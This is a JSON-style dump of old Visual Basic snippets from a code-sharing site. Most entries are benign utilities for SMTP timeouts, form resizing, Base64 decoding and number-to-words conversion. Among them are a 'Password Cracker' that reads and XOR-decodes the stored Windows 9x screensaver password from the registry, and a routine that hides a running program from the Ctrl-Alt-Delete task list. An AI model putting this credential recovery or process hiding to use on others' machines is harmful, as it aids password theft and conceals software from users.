Long\nStart = Timer\nWhile Len(strData) = 0\n Tmr = Timer - Start\n DoEvents ' Let System keep checking for incoming response\n \n 'Wait 50 seconds for response\n If Tmr > 50 Then\n MsgBox \"SMTP service error, timed out while waiting for response\", 64, \"Error!\"\n strData = \"\"\n End\n End If\nWend\nEnd Sub\nPrivate Sub Exit_Click()\nOn Error Resume Next\nIf Winsock1.State <> sckClosed Then Winsock1.Close\nEnd\nEnd Sub\n"},{"WorldId":1,"id":2360,"LineNumber":1,"line":"'Save it as crackpwd.frm, add crackpwd.bas (the code above)\n'and compile it!\n'-------------- 8< Cut here----------------------------------------------------\nVERSION 5.00\nBegin VB.Form Form1 \n BackColor = &H00000000&\n BorderStyle = 4 'Festes Werkzeugfenster\n Caption = \"Password Cracker\"\n ClientHeight = 4905\n ClientLeft = 45\n ClientTop = 300\n ClientWidth = 6855\n ForeColor = &H00FFFFFF&\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 4905\n ScaleWidth = 6855\n ShowInTaskbar = 0 'False\n StartUpPosition = 3 'Windows-Standard\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nPrivate Sub Form_Load()\nMe.Show\n \nPrint\nPrint \"Read Registry...\"\nPrint\nPrint \"Screensaver Password: \" + Screensavepwd\n \nEnd Sub\nFunction Screensavepwd() As String\n'Dim's for the Registry\nDim lngType As Long, varRetString As Variant\nDim lngI As Long, intChar As Integer\n'Dim's for the Password decoding\nDim Ciphertext As String, Key As String\nDim temp1 As String, temp2 As String\n'Registry Path to the encrypted Password\nvarRetString = sdaGetRegEntry(\"HKEY_CURRENT_USER\", _\n \"Control Panel\\desktop\", \"ScreenSave_Data\", \"1\")\n \n'the Encrypted Password\nCiphertext = varRetString\nIf Len(Ciphertext) <> 1 Then\nCiphertext = Left$(varRetString, Len(Ciphertext) - 1)\nPrint Ciphertext\n'Micro$oft's \"Secret\" Key\nKey = \"48EE761D6769A11B7A8C47F85495975F414141\"\n \n'XOR every Ciphertextbyte with the Keybyte to get\n'the plaintext\nFor i = 1 To Len(Ciphertext) Step 2\n \ntemp1 = Hex2Dez(Mid$(Ciphertext, i, 2))\ntemp2 = Hex2Dez(Mid$(Key, i, 2))\n \nplaintext = plaintext + Chr(temp1 Xor temp2)\n \nNext i\nScreensavepwd = plaintext\nElse\nScreensavepwd = \" no Password\"\nEnd If\nEnd Function\n\nFunction Hex2Dez&(H$)\nIf Left$(H$, 2) <> \"&H\" Then\n H$ = \"&H\" + H$\nEnd If\n \n Hex2Dez& = Val(H$)\nEnd Function\n"},{"WorldId":1,"id":2363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2369,"LineNumber":1,"line":"'Place the following line in the Form_Load procedure of the form\nAutoResize Me, 2 'put a 2 for a full screen form or a 0 for any other form\n'Place the following in a module\nSub AutoResize(frmName As Form, winstate As Integer)\nDim designwidth As Integer, designheight As Integer, designfontsize As Integer, currentfontsize As Integer\nDim ratiox As Single, ratioy As Single, numofcontrols As Integer, a As Integer\nDim fontratio As Single\n'Change the designwidth and the designheight according to the resolution that the form was designed at\ndesignwidth = 1024\ndesignheight = 768\ndesignfontsize = 96\n'Get the current resolution\nresx = Screen.Width / Screen.TwipsPerPixelX\nresy = Screen.Height / Screen.TwipsPerPixelY\n'Work out the ratio for resizing the controls\nratiox = resx / designwidth\nratioy = resy / designheight\n'check to see what size of fonts are being used\nIf IsScreenFontSmall Then\n currentfontsize = 96\nElse\n currentfontsize = 120\nEnd If\n'work out the ratio for the fontsize\nfontratio = currentfontsize / designfontsize\nIf ratiox = 1 And ratioy = 1 And fontratio = 1 Then Exit Sub\nnumofcontrols = frmName.Controls.Count - 1\nFor a = 0 To numofcontrols\n If TypeOf frmName.Controls(a) Is CommandButton Then\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n frmName.Controls(a).FontSize = frmName.Controls(a).FontSize * ratiox\n ElseIf TypeOf frmName.Controls(a) Is Timer Then\n Else\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n End If\nNext a\nIf fontratio <> 1 Then\n For a = 0 To numofcontrols\n If TypeOf frmName.Controls(a) Is CommandButton Then\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n frmName.Controls(a).FontSize = frmName.Controls(a).FontSize * fontratio\n ElseIf TypeOf frmName.Controls(a) Is Timer Then\n Else\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n End If\n Next a\nEnd If\nIf winstate = 0 Then\n frmName.Height = frmName.Height * ratioy\n frmName.Width = frmName.Width * ratiox\nElseIf winstate = 2 Then\n frmName.Width = Screen.Width\n frmName.Height = Screen.Height\n frmName.Top = 0\n frmName.Left = 0\nEnd If\nEnd Sub\n\nPublic Function IsScreenFontSmall() As Boolean\nDim hWndDesk As Long\nDim hDCDesk As Long\nDim logPix As Long\nDim r As Long\nhWndDesk = GetDesktopWindow()\nhDCDesk = GetDC(hWndDesk)\nlogPix = GetDeviceCaps(hDCDesk, LOGPIXELSX)\nr = ReleaseDC(hWndDesk, hDCDesk)\nIf logPix = 96 Then IsScreenFontSmall = True\nEnd Function\n"},{"WorldId":1,"id":2374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2387,"LineNumber":1,"line":"'Copy the part below and paste it into the Notepad \n'and save it as DecodeMime.frm\n'-------------------------8< Cut here ----------------------------------------\nVERSION 5.00\nBegin VB.Form Form1 \n BorderStyle = 4 'Festes Werkzeugfenster\n Caption = \"Base64 Decode Example\"\n ClientHeight = 2205\n ClientLeft = 45\n ClientTop = 300\n ClientWidth = 6000\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 2205\n ScaleWidth = 6000\n ShowInTaskbar = 0 'False\n StartUpPosition = 2 'Bildschirmmitte\n Begin VB.CommandButton Decode \n Caption = \"Decode\"\n Height = 495\n Left = 1800\n TabIndex = 2\n Top = 1560\n Width = 1815\n End\n Begin VB.TextBox Binary \n Height = 285\n Left = 240\n TabIndex = 1\n Top = 1080\n Width = 5295\n End\n Begin VB.TextBox Base64 \n Height = 285\n Left = 240\n TabIndex = 0\n Text = \"N6iOK/rfOyMWYyJ5EVHoLdFLty707JuWNhr5aCI8YGsOIDQTLdv7sQ==\"\n Top = 480\n Width = 5295\n End\n Begin VB.Label Label2 \n Caption = \"Binarys:\"\n Height = 255\n Left = 240\n TabIndex = 4\n Top = 840\n Width = 735\n End\n Begin VB.Label Label1 \n Caption = \"Base64:\"\n Height = 255\n Left = 240\n TabIndex = 3\n Top = 240\n Width = 735\n End\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\n'*********************************************************\n'This is the Base64 Decode Example and show you how to\n'decode Base64!\n'\n'At the moment I'm to laszy to write a hole programm to\n'decrypt Mime Attachements, so if you want you can take\n'this example of how to do it right and write you own\n'routine! You have to write a few routines to find the\n'specific Mime headers. If you want to know more about\n'this, send me an E-Mail...\n'\n'E-mail: galgen@wtal.de\n'*********************************************************\nPrivate Function Base64Decode(Basein As String) As String\nDim counter As Integer\nDim Temp As String\n'For the dec. Tab\nDim DecodeTable As Variant\nDim Out(2) As Byte\nDim inp(3) As Byte\n'DecodeTable holds the decode tab\nDecodeTable = Array(\"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"62\", \"255\", \"255\", \"255\", \"63\", \"52\", \"53\", \"54\", \"55\", \"56\", \"57\", \"58\", \"59\", \"60\", \"61\", \"255\", \"255\", \"255\", \"64\", \"255\", \"255\", \"255\", \"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", _\n\"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\", \"25\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"26\", \"27\", \"28\", \"29\", \"30\", \"31\", \"32\", \"33\", \"34\", \"35\", \"36\", \"37\", \"38\", \"39\", \"40\", \"41\", \"42\", \"43\", \"44\", \"45\", \"46\", \"47\", \"48\", \"49\", \"50\", \"51\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\" _\n, \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\")\n'Reads 4 Bytes in and decrypt them\nFor counter = 1 To Len(Basein) Step 4\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'!IF YOU WANT YOU CAN ADD AN ERRORCHECK: !\n'!If DecodeTable()=255 Then Error! !\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'4 Bytes in -> 3 Bytes out\ninp(0) = DecodeTable(Asc(Mid$(Basein, counter, 1)))\ninp(1) = DecodeTable(Asc(Mid$(Basein, counter + 1, 1)))\ninp(2) = DecodeTable(Asc(Mid$(Basein, counter + 2, 1)))\ninp(3) = DecodeTable(Asc(Mid$(Basein, counter + 3, 1)))\nOut(0) = (inp(0) * 4) Or ((inp(1) \\ 16) And &H3)\nOut(1) = ((inp(1) And &HF) * 16) Or ((inp(2) \\ 4) And &HF)\nOut(2) = ((inp(2) And &H3) * 64) Or inp(3)\n'* look for \"=\" symbols\nIf inp(2) = 64 Then\n \n 'If there are 2 characters left -> 1 binary out\n Out(0) = (inp(0) * 4) Or ((inp(1) \\ 16) And &H3)\n Temp = Temp & Chr(Out(0) And &HFF)\nElseIf inp(3) = 64 Then\n \n 'If there are 3 characters left -> 2 binaries out\n Out(0) = (inp(0) * 4) Or ((inp(1) \\ 16) And &H3)\n Out(1) = ((inp(1) And &HF) * 16) Or ((inp(2) \\ 4) And &HF)\n Temp = Temp & Chr(Out(0) And &HFF) & Chr(Out(1) And &HFF)\nElse 'Return three Bytes\n Temp = Temp & Chr(Out(0) And &HFF) & Chr(Out(1) And &HFF) & Chr(Out(2) And &HFF)\nEnd If\nNext\nBase64Decode = Temp\nEnd Function\n'**********************************************************\nPrivate Sub Decode_Click()\n'Base64 needs x * 4 Bytes to work...\nIf Base64 <> \"\" And (Len(Base64) Mod 4) = 0 Then\nBinary.Text = Base64Decode(Base64.Text)\nEnd If\nEnd Sub"},{"WorldId":1,"id":2389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2390,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2391,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2392,"LineNumber":1,"line":"Sub LoadEXE(Dir As String)\n On Error GoTo err:\n X% = Shell(Dir, 1): NoFreeze% = DoEvents(): Exit Sub\nExit Sub\nerr:\n'make your own error messages like mine below, or use the default:\nIf err.Number = 6 Then Exit Sub\nMsgBox \"Please make sure that the application you are trying to launch is located in the correct folder.\" & vbCrLf & \"If not, do this and retry launching the application.\", vbExclamation\n 'default: MsgBox \"Error:\" & vbCrLf & err.Description & vbCrLf & err.Number, vbExclamation\n \nEnd Sub"},{"WorldId":1,"id":2393,"LineNumber":1,"line":"' ----Api Declares for this code\nPublic Declare Function GetCurrentProcessId Lib \"kernel32\" () As Long\nPublic Declare Function RegisterServiceProcess Lib \"kernel32\" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long\n' ----Public Declares for this code\nPublic Const RSP_SIMPLE_SERVICE = 1\nPublic Const RSP_UNREGISTER_SERVICE = 0\n\n' ----What makes it invisible/visible in Ctrl-alt-delete\n' Note: That if you run this program from your development \n' enviorment(VB) you will not see your development \n' enviorment(VB) or your programs name in the \n' Ctrl-Alt-Delete Dialog. \n' From AciD email Me at Buckwheat9@juno.com\nPublic Sub Hide_Program_In_CTRL_ALT_Delete()\nDim pid As Long\nDim reserv As Long\npid = GetCurrentProcessId()\nregserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)\nEnd Sub\nPublic Sub Show_Program_In_CTRL_ALT_DELETE()\nDim pid As Long\nDim reserv As Long\npid = GetCurrentProcessId()\nregserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)\nEnd Sub"},{"WorldId":1,"id":2394,"LineNumber":1,"line":"app.taskvisible = false"},{"WorldId":1,"id":2406,"LineNumber":1,"line":"For this project you will need:\n1 Form - People\n1 Command button - cmdexit\n1 TabStrip - TabStrip1 (default)\n Place 4 tabs onto the tabstrip\n4 Pictureboxes (in an array)\n A) Picture1(1)\n B) Picture1(2)\n C) Picture1(3)\n D) Picture1(4)\n \nConst Numtabs = 4 'Set the number of tabs\nDim x as Integer\n \n'''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub cmdexit_Click()\n Unload People\nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub Form_Load()\n On Error Resume Next\n People.Height = 3375 'Set the size of your form\n People.Width = 4900\n For x = 1 To Numtabs 'Loop through the tabs\n With Picture1(x)\n .BorderStyle = 0\n .Left = TabStrip1.ClientLeft\n .Top = TabStrip1.ClientTop\n .Width = TabStrip1.ClientWidth\n .Height = TabStrip1.ClientHeight\n .Visible = False\n End With\n Next x\n TabStrip1.Tabs(1).Selected = True 'Form loads with first tab selected\n Picture1(TabStrip1.SelectedItem.Index).Visible = True 'Show first container\nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub TabStrip1_Click()\n 'This procedure determines which tab is selected\n 'and what tab container should be shown\n \n Static PrevTab As Integer\n PrevTab = Switch(PrevTab = 0, 1, PrevTab >= 1 And PrevTab <= Numtabs, PrevTab)\n Picture1(PrevTab).Visible = False\n Picture1(TabStrip1.SelectedItem.Index).Visible = True\n Picture1(TabStrip1.SelectedItem.Index).Refresh\n PrevTab = TabStrip1.SelectedItem.Index\nEnd Sub\n'If you have any questions or problems, contact me:\n'Zombiehead@earthlink.net\n'http://home.earthlink.net/~zombiehead/vbexamples.htm\n"},{"WorldId":1,"id":2409,"LineNumber":1,"line":"Private Sub Text1_KeyPress(KeyAscii As Integer)\nSelect Case KeyAscii\n Case 48 To 57\n Case 8\n Case Else\n Beep\n MsgBox \"Visit:http://members.xoom.com/RYANMP5/ for more code!\"\n KeyAscii = 0\n End Select"},{"WorldId":1,"id":2410,"LineNumber":1,"line":"gsUserId = ClipNull(GetUser())\nFunction GetUser() As String\n Dim lpUserID As String\n Dim nBuffer As Long\n Dim Ret As Long\n lpUserID = String(25, 0)\n nBuffer = 25\n Ret = GetUserName(lpUserID, nBuffer)\n If Ret Then\n GetUser$ = lpUserID$\n End If\nEnd Function\nFunction ClipNull(InString As String) As String\n Dim intpos As Integer\n If Len(InString) Then\n intpos = InStr(InString, vbNullChar)\n If intpos > 0 Then\n ClipNull = Left(InString, intpos - 1)\n Else\n ClipNull = InString\n End If\n End If\nEnd Function\n"},{"WorldId":1,"id":2413,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function RegCloseKey Lib \"advapi32.dll\" (ByVal hKey As Long) As Long\nPrivate Declare Function RegOpenKeyEx Lib \"advapi32.dll\" Alias \"RegOpenKeyExA\" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long\nPrivate Declare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long\nPrivate Type TypesOfClient\nMail As String\nNews As String\nCalendar As String\nContacts As String\nInternet_Call As String\nEnd Type\n'Get the registry keys for the programs location\nFunction GetReg(hInKey As Long, ByVal subkey As String, ByVal valname As String)\nDim RetVal As String, hSubKey As Long, dwType As Long\nDim SZ As Long, v As String, r As Long\nRetVal = \"\"\nr = RegOpenKeyEx(hInKey, subkey, 0, 983139, hSubKey)\nIf r <> 0 Then GoTo Ender\nSZ = 256: v = String(SZ, 0)\nr = RegQueryValueEx(hSubKey, valname, 0, dwType, ByVal v, SZ)\nIf r = 0 And dwType = 1 Then\nRetVal = Left(v$, SZ - 1)\nElse\nRetVal = \"\"\nEnd If\nIf hInKey = 0 Then r = RegCloseKey(hSubKey)\nEnder:\nGetReg = RetVal\nEnd Function\n\nPrivate Function GetClient() As TypesOfClient\nStatic KeyName As String, O(5) As String, i As Byte, d As String\nO(1) = \"Mail\"\nO(2) = \"News\"\nO(3) = \"Calendar\"\nO(4) = \"Contacts\"\nO(5) = \"Internet Call\"\n'In this tedious method I have to get all 5.\nFor i = 1 To 5\nKeyName = \"Software\\Clients\\\" + O(i) + \"\\\"\nd = GetReg(&H80000002, KeyName, \"\")\nKeyName = KeyName + d + \"\\Shell\\Open\\Command\\\"\nd = GetReg(&H80000002, KeyName, \"\")\nO(i) = d\nNext i\n'Set the values to where the programs were found.\nGetClient.Mail = O(1)\nGetClient.News = O(2)\nGetClient.Calendar = O(3)\nGetClient.Contacts = O(4)\nGetClient.Internet_Call = O(5)\nEnd Function\nPrivate Sub Form_Load()\n'Run the mail client\nShell GetClient.Mail\nEnd Sub\n"},{"WorldId":1,"id":2427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2457,"LineNumber":1,"line":"Private Sub msEncher()\n'strUnidades(0) = ZERO ' deve ser um empty string!\nstrUnidades(1) = UM\nstrUnidades(2) = DOIS\nstrUnidades(3) = TRES\nstrUnidades(4) = QUATRO\nstrUnidades(5) = CINCO\nstrUnidades(6) = SEIS\nstrUnidades(7) = SETE\nstrUnidades(8) = OITO\nstrUnidades(9) = NOVE\n'strTeens(0) = ZERO ' deve ser um empty string!\nstrTeens(1) = UM\nstrTeens(2) = DOIS\nstrTeens(3) = TRES\nstrTeens(4) = QUATRO\nstrTeens(5) = CINCO\nstrTeens(6) = SEIS\nstrTeens(7) = SETE\nstrTeens(8) = OITO\nstrTeens(9) = NOVE\nstrTeens(10) = DEZ\nstrTeens(11) = ONZE\nstrTeens(12) = DOZE\nstrTeens(13) = TREZE\nstrTeens(14) = CATORZE\nstrTeens(15) = QUINZE\nstrTeens(16) = DEZASSEIS\nstrTeens(17) = DEZASSETE\nstrTeens(18) = DEZOITO\nstrTeens(19) = DEZANOVE\nstrDezenas(0) = \"\"\nstrDezenas(1) = \"-\"\nstrDezenas(2) = VINTE\nstrDezenas(3) = TRINTA\nstrDezenas(4) = QUARENTA\nstrDezenas(5) = CINQUENTA\nstrDezenas(6) = SESSENTA\nstrDezenas(7) = SETENTA\nstrDezenas(8) = OITENTA\nstrDezenas(9) = NOVENTA\nstrCentenas(0) = \"\"\nstrCentenas(1) = CEM\nstrCentenas(2) = DUZENTOS\nstrCentenas(3) = TREZENTOS\nstrCentenas(4) = QUATROCENTOS\nstrCentenas(5) = QUINHENTOS\nstrCentenas(6) = SEISCENTOS\nstrCentenas(7) = SETECENTOS\nstrCentenas(8) = OITOCENTOS\nstrCentenas(9) = NOVECENTOS\n\nEnd Sub\nPrivate Function mfTraduzir(xGrupo%, xstr$) As String\n'traduz um grupo de 3 algarismos\n'(right pad)\nOn Error GoTo erro\nDim blnAnteriorRedondo As Boolean 'quando grupo anterior = '*00'\nDim ret$, xlen%\nxlen = Len(xstr$)\nDim Unid As Byte, strUnid$\nDim Teen As Byte, strTeen$\nDim Dezena As Byte, strDezn$\nDim Centena As Byte, strCent$\n Unid = CByte(Right(xstr$, 1))\n Teen = CByte(Right(xstr$, 2))\n Dezena = CByte(Mid(xstr$, xlen - 1, 1))\n Centena = CByte(Mid(xstr$, xlen - 2, 1))\nIf Centena Then\nstrCent = IIf(Teen = 0, strCentenas(Centena), _\n IIf(Centena = 1, CENTO, strCentenas(Centena)) & _\n IIf(Teen = 0, \"\", E)) & \" \"\nEnd If\nstrDezn = IIf(Teen > 19, strDezenas(Dezena), strTeens(Teen)) & _\n IIf(Unid And Teen > 19, E, \"\")\nstrUnid = IIf(Teen > 19, strUnidades(Unid), \"\")\nret = strCent & strDezn & strUnid\n Dim strNumAnterior$, strExtAnterior$\n \n On Error Resume Next\n strNumAnterior = arrGrupo(0, xGrupo - 1) 'grupo anterior\n strExtAnterior = arrGrupo(1, xGrupo - 1)\n blnAnteriorRedondo = Val(Right(strNumAnterior, 2)) = 0\n On Error GoTo erro\n \n Select Case xGrupo\n Case 0 ' 000\n \n Case 1 'mil ' 000xxx\n \n arrGrupo(1, xGrupo - 1) = _\n IIf(blnAnteriorRedondo, _\n IIf(Val(strNumAnterior) = 0, \"\", E) & strExtAnterior, _\n E & strExtAnterior)\n \n ret = IIf(Val(xstr) = 0, \"\", _\n IIf(Val(xstr) = 1, MIL, ret & MIL))\n \n Case 2 'milh├úo ' 000xxxxxx\n arrGrupo(1, xGrupo - 1) = _\n IIf(Val(strNumAnterior) = 0 And Val(arrGrupo(0, xGrupo - 2)) = 0, _\n \"\", IIf(Val(strNumAnterior) > 0, IIf(Val(arrGrupo(0, xGrupo - 2)) = 0, _\n E, Virgula), \"\") & strExtAnterior)\n ret = IIf(Val(xstr) = 0, \"\", _\n IIf(Val(xstr) = 1, ret & MILHAO, ret & MILHOES))\n Case 3 'bili├úo ' 000xxxxxxxxx\n arrGrupo(1, xGrupo - 1) = _\n IIf(Val(strNumAnterior) = 0 And Val(arrGrupo(0, xGrupo - 2)) = 0 _\n And Val(arrGrupo(0, xGrupo - 3)) = 0, _\n \"\", IIf(Val(strNumAnterior) = 0, \"\", _\n IIf(Val(arrGrupo(0, xGrupo - 2)) = 0, E, Virgula)) & strExtAnterior)\n \n ret = IIf(Val(xstr) = 0, \"\", _\n IIf(Val(xstr) = 1, ret & BILIAO, ret & BILIOES))\n End Select\nmfTraduzir = Trim(ret) & \" \"\nExit Function\nerro:\n If Err = 5 Then\n Resume Next\n Else\n MsgBox Err & vbCrLf & Err.Description\n Resume Next\n End If\nEnd Function\nPrivate Sub Class_Initialize()\nmsEncher\nmstrDecSep = mfstrGetDecimalSep\nmstrDefaultErrorMsgOverflow = ERR_OVERF\nmstrDefaultSufixoInteiro1 = SUF_INT1\nmstrDefaultSufixoDecimal1 = SUF_DEC1\nmstrDefaultSufixoInteiro2 = SUF_INT2\nmstrDefaultSufixoDecimal2 = SUF_DEC2\nEnd Sub\n\nPublic Function gfGet( _\n ByVal dblX As Double, _\n Optional ByVal lngFormat As Long = PrimeiraMaiuscula) As String\nOn Error GoTo erro\nIf dblX > MAX_NUMBER Then\n gfGet = mstrDefaultErrorMsgOverflow\n Exit Function\nEnd If\ndblX = Format(dblX, \".00\")\nDim strInteiro$, strDecimal$\n msGetParts CStr(dblX), strInteiro, strDecimal\n Dim ret$, retInt$, retDec$\n If strInteiro <> \"\" Then\n If CDbl(strInteiro) > 0 Then\n retInt = mfstrProcessar(strInteiro)\n Else\n retInt = ZERO\n End If\n retInt = retInt & IIf(CDbl(strInteiro) = 1, mstrDefaultSufixoInteiro1, mstrDefaultSufixoInteiro2)\n End If\n \n If strDecimal <> \"\" Then\n If CDbl(strInteiro) = 0 Then\n retInt = \"\"\n Else\n retInt = retInt & E\n End If\n retDec = mfstrProcessar(strDecimal)\n retDec = retDec & IIf(CDbl(strDecimal) = 1, mstrDefaultSufixoDecimal1, mstrDefaultSufixoDecimal2)\n End If\n \n \n ret = retInt & retDec\n \n gfGet = IIf(lngFormat = Minusculas, LCase(ret), _\n IIf(lngFormat = Maiusculas, UCase(ret), _\n ret))\n \nExit Function\nerro:\n gfGet = Err.Number & \"; \" & Err.Description\nEnd Function\nPublic Property Get VersionInfo() As String\nDim ret$\nret = \"N├║meros Por Extenso\" & vbCrLf & _\n\"Vers├úo \" & App.Major & \".\" & _\nFormat(App.Minor, \"00\") & \".\" & _\nFormat(App.Revision, \"00\") & vbCrLf & vbCrLf & _\n\"Pedro Vieira, [Bil├│gica, Lda]\" & vbCrLf & vbCrLf & _\n\"bfe03116@mail.telepac.pt\" & vbCrLf & _\n\"bilogica@mail.telepac.pt\" & vbCrLf & vbCrLf & _\n\"Novembro de 1998\"\nVersionInfo = ret\nEnd Property\n\nPrivate Sub msGetParts(ByVal strAll$, ByRef strInt$, ByRef strDec$)\n Dim intVirgLoc%\n intVirgLoc = InStr(1, strAll, mstrDecSep)\n \n If intVirgLoc > 0 Then\n strInt = Mid(strAll, 1, intVirgLoc% - 1)\n strDec = Mid(strAll, intVirgLoc% + 1)\n If Len(strDec) = 1 Then strDec = strDec & \"0\"\n Else\n strInt = strAll$\n strDec = \"\"\n End If\n \nEnd Sub\nPrivate Function mfstrProcessar(strPart$) As String\nDim lp%, xlen%, cnt%, ret$, buf$\nDim xstart%\nxlen = Len(strPart$)\n For lp = 1 To xlen Step 3\n \n 'enviar o n├║mero em grupos de 3 algarismos\n xstart = xlen - (3 * cnt)\n xstart = IIf(xstart <= 0, 1, xstart)\n buf = Right(Left(strPart$, xstart), 3)\n ReDim Preserve arrGrupo(1, cnt)\n arrGrupo(0, cnt) = CDbl(buf)\n arrGrupo(1, cnt) = mfTraduzir(cnt, Format(buf, \"000\"))\n cnt = cnt + 1\n Next\n \n 'obter a frase juntando os grupos traduzidos\n Dim xtemp As String\n For lp = UBound(arrGrupo, 2) To 0 Step -1\n xtemp = xtemp & arrGrupo(1, lp)\n Next\n \n 'retirar espa├ºos redundantes\n Dim red1$, inred1%, red2$, inred2%\n Dim tempA$, tempB$\n inred1 = 999: inred2 = 999\n red1 = \" \": red2 = \" ,\"\n\n Do Until inred1 + inred2 = 0\n inred1 = InStr(1, xtemp, red1)\n inred2 = InStr(1, xtemp, red2)\n If inred1 > 0 Then\n xtemp = Trim(Left(xtemp, inred1) & Right(xtemp, Len(xtemp) - (inred1 + 1)))\n End If\n If inred2 > 0 Then Mid(xtemp, inred2, 2) = \", \"\n Loop\n ret = xtemp & IIf(Right(xtemp, 1) <> \" \", \" \", \"\")\n mfstrProcessar = ret\nEnd Function\nPrivate Function mfstrGetDecimalSep() As String\nDim ret&\nDim buf As String * 10\nret = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SDECIMAL, buf, Len(buf))\nmfstrGetDecimalSep = Left(buf, InStr(1, buf, vbNullChar) - 1)\nEnd Function\n\n' ////////////// PROPS /////////////////////\nPublic Property Get DecimalSep() As String\n DecimalSep = mstrDecSep\nEnd Property\nPublic Property Let DecimalSep(x As String)\n mstrDecSep = x\nEnd Property\nPublic Property Get OverflowMsg() As String\n OverflowMsg = mstrDefaultErrorMsgOverflow\nEnd Property\nPublic Property Let OverflowMsg(x As String)\n mstrDefaultErrorMsgOverflow = x\nEnd Property\nPublic Property Get MaxNumber() As Double\n MaxNumber = MAX_NUMBER\nEnd Property\nPublic Property Get SufixoInteiroSingular() As String\n SufixoInteiroSingular = mstrDefaultSufixoInteiro1\nEnd Property\nPublic Property Let SufixoInteiroSingular(x As String)\n mstrDefaultSufixoInteiro1 = x & IIf(Right(x, 1) = \"\", \"\", \" \")\nEnd Property\nPublic Property Get SufixoInteiroPlural() As String\n SufixoInteiroPlural = mstrDefaultSufixoInteiro2\nEnd Property\nPublic Property Let SufixoInteiroPlural(x As String)\n mstrDefaultSufixoInteiro2 = x & IIf(Right(x, 1) = \"\", \"\", \" \")\nEnd Property\nPublic Property Get SufixoDecimalSingular() As String\n SufixoDecimalSingular = mstrDefaultSufixoDecimal1\nEnd Property\nPublic Property Let SufixoDecimalSingular(x As String)\n 